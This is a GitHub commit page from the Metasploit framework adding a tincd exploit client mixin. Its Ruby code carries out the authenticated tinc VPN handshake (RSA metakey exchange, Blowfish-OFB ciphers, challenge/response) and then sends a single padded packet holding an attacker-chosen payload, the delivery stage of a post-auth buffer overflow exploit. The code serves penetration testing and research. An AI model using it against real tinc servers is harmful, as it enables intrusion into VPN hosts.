Skip to content

Commit 394d132

Browse files
committed
Land rapid7#2756, tincd post-auth BOF exploit
2 parents 0ab2e99 + 9243cfd commit 394d132

File tree

3 files changed

+869
-0
lines changed

3 files changed

+869
-0
lines changed

lib/msf/core/exploit/mixins.rb

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,7 @@
5959
require 'msf/core/exploit/afp'
6060
require 'msf/core/exploit/realport'
6161
require 'msf/core/exploit/sip'
62+
require 'msf/core/exploit/tincd'
6263

6364
# Telephony
6465
require 'msf/core/exploit/dialup'

lib/msf/core/exploit/tincd.rb

Lines changed: 341 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,341 @@
1+
require 'msf/core'
2+
require 'msf/core/exploit/tcp'
3+
4+
require 'securerandom'
5+
require 'openssl'
6+
require 'digest/sha1'
7+
8+
module Msf
9+
# This module does a handshake with a tincd server and sends one padded packet
10+
# Author: Tobias Ospelt <tobias at modzero dot ch> @floyd_ch
11+
module Exploit::Remote::TincdExploitClient
12+
include Msf::Exploit::Remote::Tcp
13+
14+
BF_BLOCKSIZE = 64 / 8
15+
BF_KEY_LEN = 16
16+
BF_IV_LEN = 8
17+
18+
#
19+
# Module options
20+
#
21+
def initialize(info = {})
22+
super
23+
register_options(
24+
[Opt::RPORT(655),
25+
# As this is only for post-auth exploits, you should know the value of the
26+
# following variables by simply checking
27+
# your configuration.
28+
OptPath.new('SERVER_PUBLIC_KEY_FILE', [true, 'Server\'s public key', '']),
29+
OptPath.new('CLIENT_PRIVATE_KEY_FILE', [true, 'Client private key', '']),
30+
# You should see CLIENT_NAME in cleartext in the first message to the
31+
# server by your usual tinc client (tcpdump or
32+
# wireshark it: e.g. "0 home 17.0", so it's "home"). On the server,
33+
# this is located in the config folder, e.g. in FreeBSD
34+
# there is the client public key file /usr/local/etc/tinc/hosts/home
35+
# for the client "home"
36+
# If you don't have a clue, maybe just try the filename of your private
37+
# key without file extension
38+
OptString.new('CLIENT_NAME', [true, 'Your client name (pre-shared with server)' , ''])
39+
], self
40+
)
41+
end
42+
43+
#
44+
# Setting up variables and calling cipher inits with file paths from configuration
45+
#
46+
def setup_ciphers
47+
@state = :id_state
48+
@buffer = ''
49+
@inbuffer = ''
50+
@encryption_queue = []
51+
52+
@packet_payload = nil
53+
@keep_reading_socket = false
54+
55+
@server_key_len = nil
56+
@client_key_len = nil
57+
@client_private_key_cipher = nil
58+
@hex_enc_key_s1 = nil
59+
@bf_enc_cipher = nil
60+
init_ciphers(datastore['SERVER_PUBLIC_KEY_FILE'], datastore['CLIENT_PRIVATE_KEY_FILE'])
61+
vprint_status('Ciphers locally initalized, private key and public key files seem to be ok')
62+
@bf_dec_cipher = nil
63+
end
64+
65+
#
66+
# The main method that will be called that will call other methods to send first message
67+
# and continously read from socket and ensures TCP disconnect at the end
68+
#
69+
def send_recv(packet_payload)
70+
@packet_payload = packet_payload
71+
@keep_reading_socket = true
72+
connect
73+
begin
74+
# send the first message
75+
id
76+
# Condition to get out of the while loop: ack_state to false. Unsafe? Maybe a timeout?
77+
while @keep_reading_socket
78+
process_data(sock.get_once)
79+
end
80+
rescue Errno::ECONNRESET
81+
if @state == :metakey_state
82+
fail 'Server reset the connection. Probably rejecting ' +
83+
'the private key and/or client name (e.g. client name not associated ' +
84+
'with client public key on server side). ' +
85+
'Wrong server public key possible too. ' +
86+
'Please recheck client name, client private key and ' +
87+
'server public key.'
88+
else
89+
fail 'Server reset the connection, reason unknown.'
90+
end
91+
ensure
92+
disconnect
93+
end
94+
end
95+
96+
#
97+
# Reading of certificate files and parsing them, generation of random keys
98+
# and intialization of OFB mode blowfish cipher
99+
#
100+
def init_ciphers(server_file, client_file)
101+
server_public_key_cipher = OpenSSL::PKey::RSA.new(File.read(server_file))
102+
@server_key_len = server_public_key_cipher.n.num_bytes
103+
@client_private_key_cipher = OpenSSL::PKey::RSA.new(File.read(client_file))
104+
@client_key_len = @client_private_key_cipher.n.num_bytes
105+
vprint_status("Our private key length is #{@client_key_len}, expecting same length for metakey and challenge")
106+
vprint_status("Server's public key length is #{@server_key_len}, sending same metakey and challenge length")
107+
108+
# we don't want this to happen here:
109+
# `public_encrypt': data too large for modulus (OpenSSL::PKey::RSAError)
110+
# simple solution: choose the key_s1 with a leading zero byte
111+
key_s1 = "\x00"+SecureRandom.random_bytes(@server_key_len-1)
112+
enc_key_s1 = server_public_key_cipher.public_encrypt(key_s1, OpenSSL::PKey::RSA::NO_PADDING)
113+
114+
@hex_enc_key_s1 = enc_key_s1.unpack('H*')[0]
115+
116+
offset_key = @server_key_len - BF_KEY_LEN
117+
offset_iv = @server_key_len - BF_KEY_LEN - BF_IV_LEN
118+
bf_enc_key = key_s1[offset_key...@server_key_len]
119+
bf_enc_iv = key_s1[offset_iv...offset_key]
120+
121+
@bf_enc_cipher = OpenSSL::Cipher::Cipher.new('BF-OFB')
122+
@bf_enc_cipher.encrypt
123+
@bf_enc_cipher.key = bf_enc_key
124+
@bf_enc_cipher.iv = bf_enc_iv
125+
126+
# #Looks like ruby openssl supports other lengths than multiple of 8!
127+
# test = @bf_enc_cipher.update('A'*10)
128+
# test << @bf_enc_cipher.final
129+
# puts "Testing cipher: "+test.unpack('H*')[0]
130+
end
131+
132+
#
133+
# Depending on the state of the protocol handshake and the data we get back
134+
# from the server, this method will decide which message has to be sent next
135+
#
136+
def process_data(data)
137+
@inbuffer += data if data
138+
case @state
139+
when :id_state
140+
if line?
141+
data = read_line
142+
vprint_status("Received ID from server: [#{data[0..30]}]")
143+
@state = :metakey_state
144+
# next expected state
145+
metakey
146+
end
147+
when :metakey_state
148+
if line?
149+
data = read_line
150+
vprint_status("Received Metakey from server: [#{data[0..30]}...]")
151+
data = data.split(' ')
152+
fail 'Error in protocol. The first byte should be an ASCII 1.' unless data.first == '1'
153+
hexkey_s2 = data[5].rstrip # ("\n")
154+
fail "Error in protocol. metakey length should be #{@client_key_len}." unless hexkey_s2.length == @client_key_len * 2
155+
@enckey_s2 = [hexkey_s2].pack('H*')
156+
key_s2 = @client_private_key_cipher.private_decrypt(@enckey_s2, OpenSSL::PKey::RSA::NO_PADDING)
157+
158+
# metakey setup according to protocol_auth.c
159+
# if(!EVP_DecryptInit(c->inctx, c->incipher,
160+
# (unsigned char *)c->inkey + len - c->incipher->key_len, # <--- KEY pointer
161+
# (unsigned char *)c->inkey + len - c->incipher->key_len - c->incipher->iv_len # <--- IV pointer
162+
# ))
163+
offset_key = @client_key_len - BF_KEY_LEN
164+
offset_iv = @client_key_len - BF_KEY_LEN - BF_IV_LEN
165+
bf_dec_key = key_s2[offset_key...@client_key_len]
166+
bf_dec_iv = key_s2[offset_iv...offset_key]
167+
168+
@bf_dec_cipher = OpenSSL::Cipher::Cipher.new 'BF-OFB'
169+
@bf_dec_cipher.encrypt
170+
@bf_dec_cipher.key = bf_dec_key
171+
@bf_dec_cipher.iv = bf_dec_iv
172+
# don't forget, it *does* matter if you do a
173+
# @bf_dec_cipher.reset or not, we're in OFB mode. DON'T.
174+
vprint_status('Metakey handshake/exchange completed')
175+
@state = :challenge_state
176+
challenge
177+
end
178+
when :challenge_state
179+
need_len = 2 * @client_key_len + 3
180+
if @inbuffer.length >= need_len
181+
data = pop_inbuffer_and_decrypt(need_len)
182+
vprint_status("Received challenge from server: " +
183+
"[#{data.unpack('H*')[0][0..30]}...]")
184+
data = data.split(' ', 2)
185+
fail 'Error in protocol. The first byte should be an ASCII 2. Got #{data[0]}.' unless data.first == '2'
186+
challenge2 = data[1][0...2 * @client_key_len]
187+
challenge2 = [challenge2].pack('H*')
188+
fail "Error in protocol. challenge2 length should be #{@client_key_len}." unless challenge2.length == @client_key_len
189+
@state = :challenge_reply_state
190+
challenge_reply(challenge2)
191+
end
192+
when :challenge_reply_state
193+
need_len = 43
194+
if @inbuffer.length >= need_len
195+
data = pop_inbuffer_and_decrypt(need_len)
196+
vprint_status("Received challenge reply from server:" +
197+
" [#{data.unpack('H*')[0][0..30]}...]")
198+
@state = :ack_state
199+
ack
200+
end
201+
when :ack_state
202+
need_len = 12
203+
if @inbuffer.length >= need_len
204+
data = pop_inbuffer_and_decrypt(need_len)
205+
vprint_status("Received ack (server accepted challenge response):" +
206+
"[#{data.unpack('H*')[0][0..30]}...]")
207+
@state = :done_state
208+
send_packet
209+
end
210+
end
211+
end
212+
213+
#
214+
# Encryption queue where waiting data gets encrypted and afterwards
215+
# the remaining messages get sent
216+
#
217+
def handle_write
218+
# handle encryption queue first
219+
unless @encryption_queue.empty?
220+
msg = @encryption_queue[0]
221+
@encryption_queue.delete_at(0)
222+
@buffer = @bf_enc_cipher.update(msg)
223+
@buffer << @bf_enc_cipher.final
224+
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
225+
# the resulting block is used to encrypt the next block.
226+
end
227+
228+
unless @buffer.empty?
229+
sent = send_data(@buffer)
230+
vprint_status("Sent #{sent} bytes: " +
231+
"[#{@buffer.unpack('H*')[0][0..30]}...]")
232+
@buffer = @buffer[sent..@buffer.length]
233+
end
234+
end
235+
236+
#
237+
# Simple socket put/write
238+
#
239+
def send_data(buf)
240+
sock.put(buf)
241+
end
242+
243+
#
244+
# Decryption method to process data sent by server
245+
#
246+
def pop_inbuffer_and_decrypt(size)
247+
# In ruby openssl OFM works not only on full blocks, but also on
248+
# parts. Therefore no worries like in pycrypto and no
249+
# modified decrypt routine, simply use the cipher as is.
250+
data = @bf_dec_cipher.update(@inbuffer.slice!(0, size))
251+
data << @bf_dec_cipher.final
252+
# DON'T DO A @bf_enc_cipher.reset, we're in OFB mode and
253+
# the resulting block is used to decrypt the next block.
254+
end
255+
256+
#
257+
# Read up to the next newline from the data the server sent
258+
#
259+
def read_line
260+
idx = @inbuffer.index("\n")
261+
data = @inbuffer.slice!(0, idx)
262+
@inbuffer.lstrip!
263+
data
264+
end
265+
266+
#
267+
# Check if we already received a newline, meaning we got an
268+
# entire message for the next protocol step
269+
#
270+
def line?
271+
!!(@inbuffer.match("\n"))
272+
end
273+
274+
#
275+
# Start message method after TCP handshake
276+
#
277+
def id
278+
msg = "0 #{datastore['CLIENT_NAME']} 17.0\n"
279+
vprint_status("Sending ID (cleartext): [#{msg.gsub("\n", '')}]")
280+
@buffer += msg
281+
handle_write
282+
end
283+
284+
#
285+
# Sending metakey (transferring a symmetric key that will get encrypted with
286+
# public key before beeing sent to the server)
287+
#
288+
def metakey
289+
msg = "1 94 64 0 0 #{@hex_enc_key_s1}\n"
290+
vprint_status("Sending metakey (cleartext): [#{msg[0..30]}...]")
291+
@buffer += msg
292+
handle_write
293+
end
294+
295+
#
296+
# Send challenge random bytes
297+
#
298+
def challenge
299+
vprint_status('Sending challenge (ciphertext)')
300+
challenge = SecureRandom.random_bytes(@server_key_len)
301+
msg = "2 #{challenge.unpack('H*')[0]}\n"
302+
@encryption_queue.push(msg)
303+
handle_write
304+
end
305+
306+
#
307+
# Reply to challenge that was sent by server
308+
#
309+
def challenge_reply(challenge2)
310+
vprint_status('Sending challenge reply (ciphertext)')
311+
h = Digest::SHA1.hexdigest(challenge2)
312+
msg = "3 #{h.upcase}\n"
313+
@encryption_queue.push(msg)
314+
handle_write
315+
end
316+
317+
#
318+
# Ack state to signalise challenge/response was successfull
319+
#
320+
def ack
321+
vprint_status('Sending ack (signalise server that we accept challenge' +
322+
'reply, ciphertext)')
323+
@encryption_queue.push("4 #{datastore['RPORT']} 123 0 \n")
324+
handle_write
325+
end
326+
327+
#
328+
# Sending a packet inside the VPN connection after successfull protocol setup
329+
#
330+
def send_packet
331+
vprint_status('Protocol finished setup. Going to send packet.')
332+
msg = "17 #{@packet_payload.length}\n#{@packet_payload}"
333+
plen = BF_BLOCKSIZE - (msg.length % BF_BLOCKSIZE)
334+
# padding
335+
msg += 'B' * plen
336+
@encryption_queue.push(msg)
337+
@keep_reading_socket = false
338+
handle_write
339+
end
340+
end
341+
end

0 commit comments

Comments
 (0)